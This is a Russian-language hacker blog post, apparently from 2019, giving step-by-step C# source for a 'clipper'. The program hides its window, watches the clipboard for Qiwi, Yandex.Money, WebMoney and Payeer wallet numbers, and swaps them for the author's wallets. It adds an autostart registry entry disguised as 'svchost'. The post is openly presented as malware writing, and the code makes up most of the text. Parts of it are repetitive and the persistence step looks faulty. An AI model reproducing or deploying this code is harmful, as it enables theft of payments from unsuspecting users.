March 18, 2019
Пишем простой клипер на C# {BlackCoding}
http://tele.click/darkside_team
Привет хацкеры, сегодня мы поиграем в true malware coders. Напишем свой клипер на C#.
Время кодинга!
Для начала создаём консольное приложение с Framework 4.5.
Делаем программу скрытой:
Выбираем "приложение Windows".
Перейдём к коду, комментарии отмечены так: //это комментарий /* это тоже комментарий */
Необходимые юзинги:
using System; using System.Windows.Forms; using System.Threading; using System.Diagnostics; using Microsoft.Win32;
В main создаём цикл:
while (true)
Объявим переменные:
{ string QiwiBY = "[qiwi]"; //Ваш киви кошель string QiwiUA = "[qiwi]"; //Ваш киви кошель string Qiwi2 = "[qiwi]"; //Ваш киви кошель string Qiwi = "[qiwi]"; //Ваш киви кошель string QiwiCZ = "[qiwi]"; //Ваш киви кошель string yandex = "[ya]"; // ЯД string WMZ = "[wmz]"; // WMZ string WMR = "[wmr]"; string WMX = "[wmx]"; string WMU = "[wmu]"; string payeer = "[pa]"; string buffer = Clipboard.GetText();
Теперь переходим к условиям и основному коду:
if (buffer.StartsWith("41") && buffer.Length == 15) //Проверяем буфер на яндекс "41"- номер начала кошелька, "15"- кол-во символов Clipboard.SetText(yandex); //если опознали яндекс - меняем на свой if (buffer.Contains(" ")) Console.Write(""); else if (buffer.StartsWith("41") && buffer.Length == 15) Clipboard.SetText(yandex); if (buffer.Contains(" ")) Console.Write(""); else if (buffer.StartsWith("41") && buffer.Length == 15) Clipboard.SetText(yandex); Thread.Sleep(150); // if (buffer.StartsWith("89") && buffer.Length == 11) Clipboard.SetText(Qiwi); if (buffer.Contains(" ")) Console.Write(""); else if (buffer.StartsWith("89") && buffer.Length == 15) Clipboard.SetText(Qiwi); if (buffer.Contains(" ")) Console.Write(""); else if (buffer.StartsWith("89") && buffer.Length == 15) Clipboard.SetText(Qiwi); Thread.Sleep(150); // if (buffer.StartsWith("+79") && buffer.Length == 12) Clipboard.SetText(Qiwi2); if (buffer.Contains(" ")) Console.Write(""); else if (buffer.StartsWith("+79") && buffer.Length == 12) Clipboard.SetText(Qiwi2); if (buffer.Contains(" ")) Console.Write(""); else if (buffer.StartsWith("+79") && buffer.Length == 12) Clipboard.SetText(Qiwi2); Thread.Sleep(150); // if (buffer.StartsWith("+380") && buffer.Length == 13) Clipboard.SetText(QiwiUA); if (buffer.Contains(" ")) Console.Write(""); else if (buffer.StartsWith("+380") && buffer.Length == 13) Clipboard.SetText(QiwiUA); if (buffer.Contains(" ")) Console.Write(""); else if (buffer.StartsWith("+380") && buffer.Length == 13) Clipboard.SetText(QiwiUA); Thread.Sleep(150); // if (buffer.StartsWith("+375") && buffer.Length == 13) Clipboard.SetText(QiwiBY); if (buffer.Contains(" ")) Console.Write(""); else if (buffer.StartsWith("+375") && buffer.Length == 13) Clipboard.SetText(QiwiBY); if (buffer.Contains(" ")) Console.Write("Hello!"); else if (buffer.StartsWith("+375") && buffer.Length == 13) Clipboard.SetText(QiwiUA); Thread.Sleep(150); // if (buffer.StartsWith("+77") && buffer.Length == 11) Clipboard.SetText(QiwiCZ); if (buffer.Contains(" ")) Console.Write(""); else if (buffer.StartsWith("+77") && buffer.Length == 11) Clipboard.SetText(QiwiCZ); if (buffer.Contains(" ")) Console.Write(""); else if (buffer.StartsWith("+77") && buffer.Length == 11) Clipboard.SetText(QiwiCZ); Thread.Sleep(150); // if (buffer.StartsWith("Z") && buffer.Length == 13) Clipboard.SetText(WMZ); if (buffer.Contains(" ")) Console.Write(""); else if (buffer.StartsWith("Z") && buffer.Length == 13) Clipboard.SetText(WMZ); if (buffer.Contains(" ")) Console.Write(""); else if (buffer.StartsWith("Z") && buffer.Length == 13) Clipboard.SetText(WMZ); Thread.Sleep(150); // if (buffer.StartsWith("R") && buffer.Length == 13) Clipboard.SetText(WMR); if (buffer.Contains(" ")) Console.Write(""); else if (buffer.StartsWith("R") && buffer.Length == 13) Clipboard.SetText(WMR); if (buffer.Contains(" ")) Console.Write(""); else if (buffer.StartsWith("R") && buffer.Length == 13) Clipboard.SetText(WMR); Thread.Sleep(150); // if (buffer.StartsWith("X") && buffer.Length == 13) Clipboard.SetText(WMX); if (buffer.Contains(" ")) Console.Write(""); else if (buffer.StartsWith("X") && buffer.Length == 13) Clipboard.SetText(WMX); if (buffer.Contains(" ")) Console.Write(""); else if (buffer.StartsWith("X") && buffer.Length == 13) Clipboard.SetText(WMX); Thread.Sleep(150); // if (buffer.StartsWith("U") && buffer.Length == 13) Clipboard.SetText(WMU); if (buffer.Contains(" ")) Console.Write(""); else if (buffer.StartsWith("U") && buffer.Length == 13) Clipboard.SetText(WMU); if (buffer.Contains(" ")) Console.Write(""); else if (buffer.StartsWith("U") && buffer.Length == 13) Clipboard.SetText(WMU); Thread.Sleep(150); // if (buffer.StartsWith("P") && buffer.Length == 9) Clipboard.SetText(payeer); if (buffer.Contains(" ")) Console.Write(""); else if (buffer.StartsWith("P") && buffer.Length == 9) Clipboard.SetText(payeer); if (buffer.Contains(" ")) Console.Write(""); else if (buffer.StartsWith("P") && buffer.Length == 9) Clipboard.SetText(payeer); Thread.Sleep(150); Process ps = Process.GetCurrentProcess(); // ставим высокий приоритет ps.PriorityClass = ProcessPriorityClass.RealTime; Process p = new Process(); Microsoft.Win32.RegistryKey myKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true); // автозагрузка if (myKey.GetValue("svchost") == null) /* Где svchost- именуем автозапуск. P.S. все это дело полетит в реестр. В диспетчере можно не искать */ { myKey.SetValue("svchost", "0", RegistryValueKind.DWord); // дублируем имя файла (снова "svchost" в моем случае) }
Компилируем и у нас получается готовый клипер!
Если наберём побольше лайков, то допишем билдер.